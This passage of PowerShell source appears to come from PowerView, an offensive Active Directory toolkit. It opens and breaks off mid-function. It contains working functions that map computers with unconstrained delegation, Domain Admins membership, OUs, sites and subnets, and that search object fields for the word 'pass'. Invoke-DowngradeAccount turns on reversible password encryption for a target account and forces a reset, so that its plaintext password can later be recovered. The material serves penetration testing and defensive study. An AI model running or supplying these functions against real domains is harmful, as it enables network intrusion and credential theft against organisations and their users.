.PARAMETER Unconstrained

Switch. Return computer objects that have unconstrained delegation.

.PARAMETER PageSize

The PageSize to set for the LDAP searcher object.

.PARAMETER Credential

A [Management.Automation.PSCredential] object of alternate credentials

for connection to the target domain.

.EXAMPLE

PS C:\> Get-NetComputer

Returns the current computers in current domain.

.EXAMPLE

PS C:\> Get-NetComputer -SPN mssql\*

Returns all MS SQL servers on the domain.

.EXAMPLE

PS C:\> Get-NetComputer -Domain testing

Returns the current computers in 'testing' domain.

.EXAMPLE

PS C:\> Get-NetComputer -Domain testing -FullData

Returns full computer objects in the 'testing' domain.

.LINK

https://github.com/darkoperator/Posh-SecMod/blob/master/Audit/Audit.psm1

#>

[CmdletBinding()]

Param (

[Parameter(ValueFromPipeline=$True)]

[Alias('HostName')]

[String]

$ComputerName = '\*',

[String]

$SPN,

[String]

$OperatingSystem,

[String]

$ServicePack,

[String]

$Filter,

[Switch]

$Printers,

[Switch]

$Ping,

[Switch]

$FullData,

[String]

$Domain,

[String]

$DomainController,

[String]

$ADSpath,

[String]

$SiteName,

[Switch]

$Unconstrained,

[ValidateRange(1,10000)]

[Int]

$PageSize = 200,

[Management.Automation.PSCredential]

$Credential

)

begin {

# so this isn't repeated if multiple computer names are passed on the pipeline

$CompSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -ADSpath $ADSpath -PageSize $PageSize -Credential $Credential

}

process {

if ($CompSearcher) {

# if we're checking for unconstrained delegation

if($Unconstrained) {

Write-Verbose "Searching for computers with for unconstrained delegation"

$Filter += "(userAccountControl:1.2.840.113556.1.4.803:=524288)"

}

# set the filters for the seracher if it exists

if($Printers) {

Write-Verbose "Searching for printers"

# $CompSearcher.filter="(&(objectCategory=printQueue)$Filter)"

$Filter += "(objectCategory=printQueue)"

}

if($SPN) {

Write-Verbose "Searching for computers with SPN: $SPN"

$Filter += "(servicePrincipalName=$SPN)"

}

if($OperatingSystem) {

$Filter += "(operatingsystem=$OperatingSystem)"

}

if($ServicePack) {

$Filter += "(operatingsystemservicepack=$ServicePack)"

}

if($SiteName) {

$Filter += "(serverreferencebl=$SiteName)"

}

$CompFilter = "(&(sAMAccountType=805306369)(dnshostname=$ComputerName)$Filter)"

Write-Verbose "Get-NetComputer filter : '$CompFilter'"

$CompSearcher.filter = $CompFilter

try {

$Results = $CompSearcher.FindAll()

$Results | Where-Object {$\_} | ForEach-Object {

$Up = $True

if($Ping) {

# TODO: how can these results be piped to ping for a speedup?

$Up = Test-Connection -Count 1 -Quiet -ComputerName $\_.properties.dnshostname

}

if($Up) {

# return full data objects

if ($FullData) {

# convert/process the LDAP fields for each result

$Computer = Convert-LDAPProperty -Properties $\_.Properties

$Computer.PSObject.TypeNames.Add('PowerView.Computer')

$Computer

}

else {

# otherwise we're just returning the DNS host name

$\_.properties.dnshostname

}

}

}

$Results.dispose()

$CompSearcher.dispose()

}

catch {

Write-Warning "Error: $\_"

}

}

}

}

function Get-ADObject {

<#

.SYNOPSIS

Takes a domain SID and returns the user, group, or computer object

associated with it.

.PARAMETER SID

The SID of the domain object you're querying for.

.PARAMETER Name

The Name of the domain object you're querying for.

.PARAMETER SamAccountName

The SamAccountName of the domain object you're querying for.

.PARAMETER Domain

The domain to query for objects, defaults to the current domain.

.PARAMETER DomainController

Domain controller to reflect LDAP queries through.

.PARAMETER ADSpath

The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"

Useful for OU queries.

.PARAMETER Filter

Additional LDAP filter string for the query.

.PARAMETER ReturnRaw

Switch. Return the raw object instead of translating its properties.

Used by Set-ADObject to modify object properties.

.PARAMETER PageSize

The PageSize to set for the LDAP searcher object.

.PARAMETER Credential

A [Management.Automation.PSCredential] object of alternate credentials

for connection to the target domain.

.EXAMPLE

PS C:\> Get-ADObject -SID "S-1-5-21-2620891829-2411261497-1773853088-1110"

Get the domain object associated with the specified SID.

.EXAMPLE

PS C:\> Get-ADObject -ADSpath "CN=AdminSDHolder,CN=System,DC=testlab,DC=local"

Get the AdminSDHolder object for the testlab.local domain.

#>

[CmdletBinding()]

Param (

[Parameter(ValueFromPipeline=$True)]

[String]

$SID,

[String]

$Name,

[String]

$SamAccountName,

[String]

$Domain,

[String]

$DomainController,

[String]

$ADSpath,

[String]

$Filter,

[Switch]

$ReturnRaw,

[ValidateRange(1,10000)]

[Int]

$PageSize = 200,

[Management.Automation.PSCredential]

$Credential

)

process {

if($SID) {

# if a SID is passed, try to resolve it to a reachable domain name for the searcher

try {

$Name = Convert-SidToName $SID

if($Name) {

$Canonical = Convert-ADName -ObjectName $Name -InputType NT4 -OutputType Canonical

if($Canonical) {

$Domain = $Canonical.split("/")[0]

}

else {

Write-Warning "Error resolving SID '$SID'"

return $Null

}

}

}

catch {

Write-Warning "Error resolving SID '$SID' : $\_"

return $Null

}

}

$ObjectSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $ADSpath -PageSize $PageSize

if($ObjectSearcher) {

if($SID) {

$ObjectSearcher.filter = "(&(objectsid=$SID)$Filter)"

}

elseif($Name) {

$ObjectSearcher.filter = "(&(name=$Name)$Filter)"

}

elseif($SamAccountName) {

$ObjectSearcher.filter = "(&(samAccountName=$SamAccountName)$Filter)"

}

$Results = $ObjectSearcher.FindAll()

$Results | Where-Object {$\_} | ForEach-Object {

if($ReturnRaw) {

$\_

}

else {

# convert/process the LDAP fields for each result

Convert-LDAPProperty -Properties $\_.Properties

}

}

$Results.dispose()

$ObjectSearcher.dispose()

}

}

}

function Set-ADObject {

<#

.SYNOPSIS

Takes a SID, name, or SamAccountName to query for a specified

domain object, and then sets a specified 'PropertyName' to a

specified 'PropertyValue'.

.PARAMETER SID

The SID of the domain object you're querying for.

.PARAMETER Name

The Name of the domain object you're querying for.

.PARAMETER SamAccountName

The SamAccountName of the domain object you're querying for.

.PARAMETER Domain

The domain to query for objects, defaults to the current domain.

.PARAMETER DomainController

Domain controller to reflect LDAP queries through.

.PARAMETER Filter

Additional LDAP filter string for the query.

.PARAMETER PropertyName

The property name to set.

.PARAMETER PropertyValue

The value to set for PropertyName

.PARAMETER PropertyXorValue

Integer value to binary xor (-bxor) with the current int value.

.PARAMETER ClearValue

Switch. Clear the value of PropertyName

.PARAMETER PageSize

The PageSize to set for the LDAP searcher object.

.PARAMETER Credential

A [Management.Automation.PSCredential] object of alternate credentials

for connection to the target domain.

.EXAMPLE

PS C:\> Set-ADObject -SamAccountName matt.admin -PropertyName countrycode -PropertyValue 0

Set the countrycode for matt.admin to 0

.EXAMPLE

PS C:\> Set-ADObject -SamAccountName matt.admin -PropertyName useraccountcontrol -PropertyXorValue 65536

Set the password not to expire on matt.admin

#>

[CmdletBinding()]

Param (

[String]

$SID,

[String]

$Name,

[String]

$SamAccountName,

[String]

$Domain,

[String]

$DomainController,

[String]

$Filter,

[Parameter(Mandatory = $True)]

[String]

$PropertyName,

$PropertyValue,

[Int]

$PropertyXorValue,

[Switch]

$ClearValue,

[ValidateRange(1,10000)]

[Int]

$PageSize = 200,

[Management.Automation.PSCredential]

$Credential

)

$Arguments = @{

'SID' = $SID

'Name' = $Name

'SamAccountName' = $SamAccountName

'Domain' = $Domain

'DomainController' = $DomainController

'Filter' = $Filter

'PageSize' = $PageSize

'Credential' = $Credential

}

# splat the appropriate arguments to Get-ADObject

$RawObject = Get-ADObject -ReturnRaw @Arguments

try {

# get the modifiable object for this search result

$Entry = $RawObject.GetDirectoryEntry()

if($ClearValue) {

Write-Verbose "Clearing value"

$Entry.$PropertyName.clear()

$Entry.commitchanges()

}

elseif($PropertyXorValue) {

$TypeName = $Entry.$PropertyName[0].GetType().name

# UAC value references- https://support.microsoft.com/en-us/kb/305144

$PropertyValue = $($Entry.$PropertyName) -bxor $PropertyXorValue

$Entry.$PropertyName = $PropertyValue -as $TypeName

$Entry.commitchanges()

}

else {

$Entry.put($PropertyName, $PropertyValue)

$Entry.setinfo()

}

}

catch {

Write-Warning "Error setting property $PropertyName to value '$PropertyValue' for object $($RawObject.Properties.samaccountname) : $\_"

}

}

function Invoke-DowngradeAccount {

<#

.SYNOPSIS

Set reversible encryption on a given account and then force the password

to be set on next user login. To repair use "-Repair".

.PARAMETER SamAccountName

The SamAccountName of the domain object you're querying for.

.PARAMETER Name

The Name of the domain object you're querying for.

.PARAMETER Domain

The domain to query for objects, defaults to the current domain.

.PARAMETER DomainController

Domain controller to reflect LDAP queries through.

.PARAMETER Filter

Additional LDAP filter string for the query.

.PARAMETER Repair

Switch. Unset the reversible encryption flag and force password reset flag.

.PARAMETER Credential

A [Management.Automation.PSCredential] object of alternate credentials

for connection to the target domain.

.EXAMPLE

PS> Invoke-DowngradeAccount -SamAccountName jason

Set reversible encryption on the 'jason' account and force the password to be changed.

.EXAMPLE

PS> Invoke-DowngradeAccount -SamAccountName jason -Repair

Unset reversible encryption on the 'jason' account and remove the forced password change.

#>

[CmdletBinding()]

Param (

[Parameter(ParameterSetName = 'SamAccountName', Position=0, ValueFromPipeline=$True)]

[String]

$SamAccountName,

[Parameter(ParameterSetName = 'Name')]

[String]

$Name,

[String]

$Domain,

[String]

$DomainController,

[String]

$Filter,

[Switch]

$Repair,

[Management.Automation.PSCredential]

$Credential

)

process {

$Arguments = @{

'SamAccountName' = $SamAccountName

'Name' = $Name

'Domain' = $Domain

'DomainController' = $DomainController

'Filter' = $Filter

'Credential' = $Credential

}

# splat the appropriate arguments to Get-ADObject

$UACValues = Get-ADObject @Arguments | select useraccountcontrol | ConvertFrom-UACValue

if($Repair) {

if($UACValues.Keys -contains "ENCRYPTED\_TEXT\_PWD\_ALLOWED") {

# if reversible encryption is set, unset it

Set-ADObject @Arguments -PropertyName useraccountcontrol -PropertyXorValue 128

}

# unset the forced password change

Set-ADObject @Arguments -PropertyName pwdlastset -PropertyValue -1

}

else {

if($UACValues.Keys -contains "DONT\_EXPIRE\_PASSWORD") {

# if the password is set to never expire, unset

Set-ADObject @Arguments -PropertyName useraccountcontrol -PropertyXorValue 65536

}

if($UACValues.Keys -notcontains "ENCRYPTED\_TEXT\_PWD\_ALLOWED") {

# if reversible encryption is not set, set it

Set-ADObject @Arguments -PropertyName useraccountcontrol -PropertyXorValue 128

}

# force the password to be changed on next login

Set-ADObject @Arguments -PropertyName pwdlastset -PropertyValue 0

}

}

}

function Get-ComputerProperty {

<#

.SYNOPSIS

Returns a list of all computer object properties. If a property

name is specified, it returns all [computer:property] values.

Taken directly from @obscuresec's post:

http://obscuresecurity.blogspot.com/2014/04/ADSISearcher.html

.PARAMETER Properties

Return property names for computers.

.PARAMETER Domain

The domain to query for computer properties, defaults to the current domain.

.PARAMETER DomainController

Domain controller to reflect LDAP queries through.

.PARAMETER PageSize

The PageSize to set for the LDAP searcher object.

.PARAMETER Credential

A [Management.Automation.PSCredential] object of alternate credentials

for connection to the target domain.

.EXAMPLE

PS C:\> Get-ComputerProperty -Domain testing

Returns all user properties for computers in the 'testing' domain.

.EXAMPLE

PS C:\> Get-ComputerProperty -Properties ssn,lastlogon,location

Returns all an array of computer/ssn/lastlogin/location combinations

for computers in the current domain.

.LINK

http://obscuresecurity.blogspot.com/2014/04/ADSISearcher.html

#>

[CmdletBinding()]

param(

[String[]]

$Properties,

[String]

$Domain,

[String]

$DomainController,

[ValidateRange(1,10000)]

[Int]

$PageSize = 200,

[Management.Automation.PSCredential]

$Credential

)

if($Properties) {

# extract out the set of all properties for each object

$Properties = ,"name" + $Properties | Sort-Object -Unique

Get-NetComputer -Domain $Domain -DomainController $DomainController -Credential $Credential -FullData -PageSize $PageSize | Select-Object -Property $Properties

}

else {

# extract out just the property names

Get-NetComputer -Domain $Domain -DomainController $DomainController -Credential $Credential -FullData -PageSize $PageSize | Select-Object -first 1 | Get-Member -MemberType \*Property | Select-Object -Property "Name"

}

}

function Find-ComputerField {

<#

.SYNOPSIS

Searches computer object fields for a given word (default \*pass\*). Default

field being searched is 'description'.

Taken directly from @obscuresec's post:

http://obscuresecurity.blogspot.com/2014/04/ADSISearcher.html

.PARAMETER SearchTerm

Term to search for, default of "pass".

.PARAMETER SearchField

User field to search in, default of "description".

.PARAMETER ADSpath

The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"

Useful for OU queries.

.PARAMETER Domain

Domain to search computer fields for, defaults to the current domain.

.PARAMETER DomainController

Domain controller to reflect LDAP queries through.

.PARAMETER PageSize

The PageSize to set for the LDAP searcher object.

.PARAMETER Credential

A [Management.Automation.PSCredential] object of alternate credentials

for connection to the target domain.

.EXAMPLE

PS C:\> Find-ComputerField -SearchTerm backup -SearchField info

Find computer accounts with "backup" in the "info" field.

#>

[CmdletBinding()]

param(

[Parameter(Position=0,ValueFromPipeline=$True)]

[Alias('Term')]

[String]

$SearchTerm = 'pass',

[Alias('Field')]

[String]

$SearchField = 'description',

[String]

$ADSpath,

[String]

$Domain,

[String]

$DomainController,

[ValidateRange(1,10000)]

[Int]

$PageSize = 200,

[Management.Automation.PSCredential]

$Credential

)

process {

Get-NetComputer -ADSpath $ADSpath -Domain $Domain -DomainController $DomainController -Credential $Credential -FullData -Filter "($SearchField=\*$SearchTerm\*)" -PageSize $PageSize | Select-Object samaccountname,$SearchField

}

}

function Get-NetOU {

<#

.SYNOPSIS

Gets a list of all current OUs in a domain.

.PARAMETER OUName

The OU name to query for, wildcards accepted.

.PARAMETER GUID

Only return OUs with the specified GUID in their gplink property.

.PARAMETER Domain

The domain to query for OUs, defaults to the current domain.

.PARAMETER DomainController

Domain controller to reflect LDAP queries through.

.PARAMETER ADSpath

The LDAP source to search through.

.PARAMETER FullData

Switch. Return full OU objects instead of just object names (the default).

.PARAMETER PageSize

The PageSize to set for the LDAP searcher object.

.PARAMETER Credential

A [Management.Automation.PSCredential] object of alternate credentials

for connection to the target domain.

.EXAMPLE

PS C:\> Get-NetOU

Returns the current OUs in the domain.

.EXAMPLE

PS C:\> Get-NetOU -OUName \*admin\* -Domain testlab.local

Returns all OUs with "admin" in their name in the testlab.local domain.

.EXAMPLE

PS C:\> Get-NetOU -GUID 123-...

Returns all OUs with linked to the specified group policy object.

.EXAMPLE

PS C:\> "\*admin\*","\*server\*" | Get-NetOU

Get the full OU names for the given search terms piped on the pipeline.

#>

[CmdletBinding()]

Param (

[Parameter(ValueFromPipeline=$True)]

[String]

$OUName = '\*',

[String]

$GUID,

[String]

$Domain,

[String]

$DomainController,

[String]

$ADSpath,

[Switch]

$FullData,

[ValidateRange(1,10000)]

[Int]

$PageSize = 200,

[Management.Automation.PSCredential]

$Credential

)

begin {

$OUSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $ADSpath -PageSize $PageSize

}

process {

if ($OUSearcher) {

if ($GUID) {

# if we're filtering for a GUID in .gplink

$OUSearcher.filter="(&(objectCategory=organizationalUnit)(name=$OUName)(gplink=\*$GUID\*))"

}

else {

$OUSearcher.filter="(&(objectCategory=organizationalUnit)(name=$OUName))"

}

try {

$Results = $OUSearcher.FindAll()

$Results | Where-Object {$\_} | ForEach-Object {

if ($FullData) {

# convert/process the LDAP fields for each result

$OU = Convert-LDAPProperty -Properties $\_.Properties

$OU.PSObject.TypeNames.Add('PowerView.OU')

$OU

}

else {

# otherwise just returning the ADS paths of the OUs

$\_.properties.adspath

}

}

$Results.dispose()

$OUSearcher.dispose()

}

catch {

Write-Warning $\_

}

}

}

}

function Get-NetSite {

<#

.SYNOPSIS

Gets a list of all current sites in a domain.

.PARAMETER SiteName

Site filter string, wildcards accepted.

.PARAMETER Domain

The domain to query for sites, defaults to the current domain.

.PARAMETER DomainController

Domain controller to reflect LDAP queries through.

.PARAMETER ADSpath

The LDAP source to search through.

.PARAMETER GUID

Only return site with the specified GUID in their gplink property.

.PARAMETER FullData

Switch. Return full site objects instead of just object names (the default).

.PARAMETER PageSize

The PageSize to set for the LDAP searcher object.

.PARAMETER Credential

A [Management.Automation.PSCredential] object of alternate credentials

for connection to the target domain.

.EXAMPLE

PS C:\> Get-NetSite -Domain testlab.local -FullData

Returns the full data objects for all sites in testlab.local

#>

[CmdletBinding()]

Param (

[Parameter(ValueFromPipeline=$True)]

[String]

$SiteName = "\*",

[String]

$Domain,

[String]

$DomainController,

[String]

$ADSpath,

[String]

$GUID,

[Switch]

$FullData,

[ValidateRange(1,10000)]

[Int]

$PageSize = 200,

[Management.Automation.PSCredential]

$Credential

)

begin {

$SiteSearcher = Get-DomainSearcher -ADSpath $ADSpath -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSprefix "CN=Sites,CN=Configuration" -PageSize $PageSize

}

process {

if($SiteSearcher) {

if ($GUID) {

# if we're filtering for a GUID in .gplink

$SiteSearcher.filter="(&(objectCategory=site)(name=$SiteName)(gplink=\*$GUID\*))"

}

else {

$SiteSearcher.filter="(&(objectCategory=site)(name=$SiteName))"

}

try {

$Results = $SiteSearcher.FindAll()

$Results | Where-Object {$\_} | ForEach-Object {

if ($FullData) {

# convert/process the LDAP fields for each result

$Site = Convert-LDAPProperty -Properties $\_.Properties

$Site.PSObject.TypeNames.Add('PowerView.Site')

$Site

}

else {

# otherwise just return the site name

$\_.properties.name

}

}

$Results.dispose()

$SiteSearcher.dispose()

}

catch {

Write-Verbose $\_

}

}

}

}

function Get-NetSubnet {

<#

.SYNOPSIS

Gets a list of all current subnets in a domain.

.PARAMETER SiteName

Only return subnets from the specified SiteName.

.PARAMETER Domain

The domain to query for subnets, defaults to the current domain.

.PARAMETER DomainController

Domain controller to reflect LDAP queries through.

.PARAMETER ADSpath

The LDAP source to search through.

.PARAMETER FullData

Switch. Return full subnet objects instead of just object names (the default).

.PARAMETER PageSize

The PageSize to set for the LDAP searcher object.

.PARAMETER Credential

A [Management.Automation.PSCredential] object of alternate credentials

for connection to the target domain.

.EXAMPLE

PS C:\> Get-NetSubnet

Returns all subnet names in the current domain.

.EXAMPLE

PS C:\> Get-NetSubnet -Domain testlab.local -FullData

Returns the full data objects for all subnets in testlab.local

#>

[CmdletBinding()]

Param (

[Parameter(ValueFromPipeline=$True)]

[String]

$SiteName = "\*",

[String]

$Domain,

[String]

$ADSpath,

[String]

$DomainController,

[Switch]

$FullData,

[ValidateRange(1,10000)]

[Int]

$PageSize = 200,

[Management.Automation.PSCredential]

$Credential

)

begin {

$SubnetSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $ADSpath -ADSprefix "CN=Subnets,CN=Sites,CN=Configuration" -PageSize $PageSize

}

process {

if($SubnetSearcher) {

$SubnetSearcher.filter="(&(objectCategory=subnet))"

try {

$Results = $SubnetSearcher.FindAll()

$Results | Where-Object {$\_} | ForEach-Object {

if ($FullData) {

# convert/process the LDAP fields for each result

Convert-LDAPProperty -Properties $\_.Properties | Where-Object { $\_.siteobject -match "CN=$SiteName" }

}

else {

# otherwise just return the subnet name and site name

if ( ($SiteName -and ($\_.properties.siteobject -match "CN=$SiteName,")) -or ($SiteName -eq '\*')) {

$SubnetProperties = @{

'Subnet' = $\_.properties.name[0]

}

try {

$SubnetProperties['Site'] = ($\_.properties.siteobject[0]).split(",")[0]

}

catch {

$SubnetProperties['Site'] = 'Error'

}

New-Object -TypeName PSObject -Property $SubnetProperties

}

}

}

$Results.dispose()

$SubnetSearcher.dispose()

}

catch {

Write-Warning $\_

}

}

}

}

function Get-DomainSID {

<#

.SYNOPSIS

Gets the SID for the domain.

.PARAMETER Domain

The domain to query, defaults to the current domain.

.PARAMETER DomainController

Domain controller to reflect LDAP queries through.

.EXAMPLE

C:\> Get-DomainSID -Domain TEST

Returns SID for the domain 'TEST'

#>

param(

[String]

$Domain,

[String]

$DomainController

)

$DCSID = Get-NetComputer -Domain $Domain -DomainController $DomainController -FullData -Filter '(userAccountControl:1.2.840.113556.1.4.803:=8192)' | Select-Object -First 1 -ExpandProperty objectsid

if($DCSID) {

$DCSID.Substring(0, $DCSID.LastIndexOf('-'))

}

else {

Write-Verbose "Error extracting domain SID for $Domain"

}

}

function Get-NetGroup {

<#

.SYNOPSIS

Gets a list of all current groups in a domain, or all

the groups a given user/group object belongs to.

.PARAMETER GroupName

The group name to query for, wildcards accepted.

.PARAMETER SID

The group SID to query for.

.PARAMETER UserName

The user name (or group name) to query for all effective

groups of.

.PARAMETER Filter

A customized ldap filter string to use, e.g. "(description=\*admin\*)"

.PARAMETER Domain

The domain to query for groups, defaults to the current domain.

.PARAMETER DomainController

Domain controller to reflect LDAP queries through.

.PARAMETER ADSpath

The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"

Useful for OU queries.

.PARAMETER AdminCount

Switch. Return group with adminCount=1.

.PARAMETER FullData

Switch. Return full group objects instead of just object names (the default).

.PARAMETER RawSids

Switch. Return raw SIDs when using "Get-NetGroup -UserName X"

.PARAMETER PageSize

The PageSize to set for the LDAP searcher object.

.PARAMETER Credential

A [Management.Automation.PSCredential] object of alternate credentials

for connection to the target domain.

.PARAMETER AllTypes

By default we will retrieve only Security, not Distribution Groups.

.EXAMPLE

PS C:\> Get-NetGroup

Returns the current security groups in the domain.

.EXAMPLE

PS C:\> Get-NetGroup -GroupName \*admin\*

Returns all groups with "admin" in their group name.

.EXAMPLE

PS C:\> Get-NetGroup -Domain testing -FullData

Returns full group data objects in the 'testing' domain

#>

[CmdletBinding()]

param(

[Parameter(ValueFromPipeline=$True)]

[String]

$GroupName = '\*',

[String]

$SID,

[String]

$UserName,

[String]

$Filter,

[String]

$Domain,

[String]

$DomainController,

[String]

$ADSpath,

[Switch]

$AdminCount,

[Switch]

$FullData,

[Switch]

$RawSids,

[Switch]

$AllTypes,

[ValidateRange(1,10000)]

[Int]

$PageSize = 200,

[Management.Automation.PSCredential]

$Credential

)

begin {

$GroupSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $ADSpath -PageSize $PageSize

if (!$AllTypes)

{

$Filter += "(groupType:1.2.840.113556.1.4.803:=2147483648)"

}

}

process {

if($GroupSearcher) {

if($AdminCount) {

Write-Verbose "Checking for adminCount=1"

$Filter += "(admincount=1)"

}

if ($UserName) {

# get the raw user object

$User = Get-ADObject -SamAccountName $UserName -Domain $Domain -DomainController $DomainController -Credential $Credential -ReturnRaw -PageSize $PageSize | Select-Object -First 1

if($User) {

# convert the user to a directory entry

$UserDirectoryEntry = $User.GetDirectoryEntry()

# cause the cache to calculate the token groups for the user

$UserDirectoryEntry.RefreshCache("tokenGroups")

$UserDirectoryEntry.TokenGroups | ForEach-Object {

# convert the token group sid

$GroupSid = (New-Object System.Security.Principal.SecurityIdentifier($\_,0)).Value

# ignore the built in groups

if($GroupSid -notmatch '^S-1-5-32-.\*') {

if($FullData) {

$Group = Get-ADObject -SID $GroupSid -PageSize $PageSize -Domain $Domain -DomainController $DomainController -Credential $Credential

$Group.PSObject.TypeNames.Add('PowerView.Group')

$Group

}

else {

if($RawSids) {

$GroupSid

}

else {

Convert-SidToName -SID $GroupSid

}

}

}

}

}

else {

Write-Warning "UserName '$UserName' failed to resolve."

}

}

else {

if ($SID) {

$GroupSearcher.filter = "(&(objectCategory=group)(objectSID=$SID)$Filter)"

}

else {

$GroupSearcher.filter = "(&(objectCategory=group)(samaccountname=$GroupName)$Filter)"

}

$Results = $GroupSearcher.FindAll()

$Results | Where-Object {$\_} | ForEach-Object {

# if we're returning full data objects

if ($FullData) {

# convert/process the LDAP fields for each result

$Group = Convert-LDAPProperty -Properties $\_.Properties

$Group.PSObject.TypeNames.Add('PowerView.Group')

$Group

}

else {

# otherwise we're just returning the group name

$\_.properties.samaccountname

}

}

$Results.dispose()

$GroupSearcher.dispose()

}

}

}

}

function Get-NetGroupMember {

<#

.SYNOPSIS

This function users [ADSI] and LDAP to query the current AD context

or trusted domain for users in a specified group. If no GroupName is

specified, it defaults to querying the "Domain Admins" group.

This is a replacement for "net group 'name' /domain"

.PARAMETER GroupName

The group name to query for users.

.PARAMETER SID

The Group SID to query for users. If not given, it defaults to 512 "Domain Admins"

.PARAMETER Filter

A customized ldap filter string to use, e.g. "(description=\*admin\*)"

.PARAMETER Domain

The domain to query for group users, defaults to the current domain.

.PARAMETER DomainController

Domain controller to reflect LDAP queries through.

.PARAMETER ADSpath

The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"

Useful for OU queries.

.PARAMETER FullData

Switch. Returns full data objects instead of just group/users.

.PARAMETER Recurse

Switch. If the group member is a group, recursively try to query its members as well.

.PARAMETER UseMatchingRule

Switch. Use LDAP\_MATCHING\_RULE\_IN\_CHAIN in the LDAP search query when -Recurse is specified.

Much faster than manual recursion, but doesn't reveal cross-domain groups.

.PARAMETER PageSize

The PageSize to set for the LDAP searcher object.

.PARAMETER Credential

A [Management.Automation.PSCredential] object of alternate credentials

for connection to the target domain.

.EXAMPLE

PS C:\> Get-NetGroupMember

Returns the usernames that of members of the "Domain Admins" domain group.

.EXAMPLE

PS C:\> Get-NetGroupMember -Domain testing -GroupName "Power Users"

Returns the usernames that of members of the "Power Users" group in the 'testing' domain.

.LINK

http://www.powershellmagazine.com/2013/05/23/pstip-retrieve-group-membership-of-an-active-directory-group-recursively/

#>

[CmdletBinding()]

param(

[Parameter(ValueFromPipeline=$True)]

[String]

$GroupName,

[String]

$SID,

[String]

$Domain,

[String]

$DomainController,

[String]

$ADSpath,

[Switch]

$FullData,

[Switch]

$Recurse,

[Switch]

$UseMatchingRule,

[ValidateRange(1,10000)]

[Int]

$PageSize = 200,

[Management.Automation.PSCredential]

$Credential

)

begin {

if($DomainController) {

$TargetDomainController = $DomainController

}

else {

$TargetDomainController = ((Get-NetDomain -Credential $Credential).PdcRoleOwner).Name

}

if($Domain) {

$TargetDomain = $Domain

}

else {

$TargetDomain = Get-NetDomain -Credential $Credential | Select-Object -ExpandProperty name

}

# so this isn't repeated if users are passed on the pipeline

$GroupSearcher = Get-DomainSearcher -Domain $TargetDomain -DomainController $TargetDomainController -Credential $Credential -ADSpath $ADSpath -PageSize $PageSize

}

process {

if ($GroupSearcher) {

if ($Recurse -and $UseMatchingRule) {

# resolve the group to a distinguishedname

if ($GroupName) {

$Group = Get-NetGroup -AllTypes -GroupName $GroupName -Domain $TargetDomain -DomainController $TargetDomainController -Credential $Credential -FullData -PageSize $PageSize

}

elseif ($SID) {

$Group = Get-NetGroup -AllTypes -SID $SID -Domain $TargetDomain -DomainController $TargetDomainController -Credential $Credential -FullData -PageSize $PageSize

}

else {

# default to domain admins

$SID = (Get-DomainSID -Domain $TargetDomain -DomainController $TargetDomainController) + "-512"

$Group = Get-NetGroup -AllTypes -SID $SID -Domain $TargetDomain -DomainController $TargetDomainController -Credential $Credential -FullData -PageSize $PageSize

}

$GroupDN = $Group.distinguishedname

$GroupFoundName = $Group.samaccountname

if ($GroupDN) {

$GroupSearcher.filter = "(&(samAccountType=805306368)(memberof:1.2.840.113556.1.4.1941:=$GroupDN)$Filter)"

$GroupSearcher.PropertiesToLoad.AddRange(('distinguishedName','samaccounttype','lastlogon','lastlogontimestamp','dscorepropagationdata','objectsid','whencreated','badpasswordtime','accountexpires','iscriticalsystemobject','name','usnchanged','objectcategory','description','codepage','instancetype','countrycode','distinguishedname','cn','admincount','logonhours','objectclass','logoncount','usncreated','useraccountcontrol','objectguid','primarygroupid','lastlogoff','samaccountname','badpwdcount','whenchanged','memberof','pwdlastset','adspath'))

$Members = $GroupSearcher.FindAll()

$GroupFoundName = $GroupName

}

else {

Write-Error "Unable to find Group"

}

}

else {

if ($GroupName) {

$GroupSearcher.filter = "(&(objectCategory=group)(samaccountname=$GroupName)$Filter)"

}

elseif ($SID) {

$GroupSearcher.filter = "(&(objectCategory=group)(objectSID=$SID)$Filter)"

}

else {

# default to domain admins

$SID = (Get-DomainSID -Domain $TargetDomain -DomainController $TargetDomainController) + "-512"

$GroupSearcher.filter = "(&(objectCategory=group)(objectSID=$SID)$Filter)"

}

try {

$Result = $GroupSearcher.FindOne()

}

catch {

$Members = @()

}

$GroupFoundName = ''

if ($Result) {

$Members = $Result.properties.item("member")

if($Members.count -eq 0) {

$Finished = $False

$Bottom = 0

$Top = 0

while(!$Finished) {

$Top = $Bottom + 1499

$MemberRange="member;range=$Bottom-$Top"

$Bottom += 1500

$GroupSearcher.PropertiesToLoad.Clear()

[void]$GroupSearcher.PropertiesToLoad.Add("$MemberRange")

[void]$GroupSearcher.PropertiesToLoad.Add("samaccountname")

try {

$Result = $GroupSearcher.FindOne()

$RangedProperty = $Result.Properties.PropertyNames -like "member;range=\*"

$Members += $Result.Properties.item($RangedProperty)

$GroupFoundName = $Result.properties.item("samaccountname")[0]

if ($Members.count -eq 0) {

$Finished = $True

}

}

catch [System.Management.Automation.MethodInvocationException] {

$Finished = $True

}

}

}

else {

$GroupFoundName = $Result.properties.item("samaccountname")[0]

$Members += $Result.Properties.item($RangedProperty)

}

}

$GroupSearcher.dispose()

}

$Members | Where-Object {$\_} | ForEach-Object {

# if we're doing the LDAP\_MATCHING\_RULE\_IN\_CHAIN recursion

if ($Recurse -and $UseMatchingRule) {

$Properties = $\_.Properties

}

else {

if($TargetDomainController) {

$Result = [adsi]"LDAP://$TargetDomainController/$\_"

}

else {

$Result = [adsi]"LDAP://$\_"

}

if($Result){

$Properties = $Result.Properties

}

}

if($Properties) {

$IsGroup = @('268435456','268435457','536870912','536870913') -contains $Properties.samaccounttype

if ($FullData) {

$GroupMember = Convert-LDAPProperty -Properties $Properties

}

else {

$GroupMember = New-Object PSObject

}

$GroupMember | Add-Member Noteproperty 'GroupDomain' $TargetDomain

$GroupMember | Add-Member Noteproperty 'GroupName' $GroupFoundName

if($Properties.objectSid) {

$MemberSID = ((New-Object System.Security.Principal.SecurityIdentifier $Properties.objectSid[0],0).Value)

}

else {

$MemberSID = $Null

}

try {

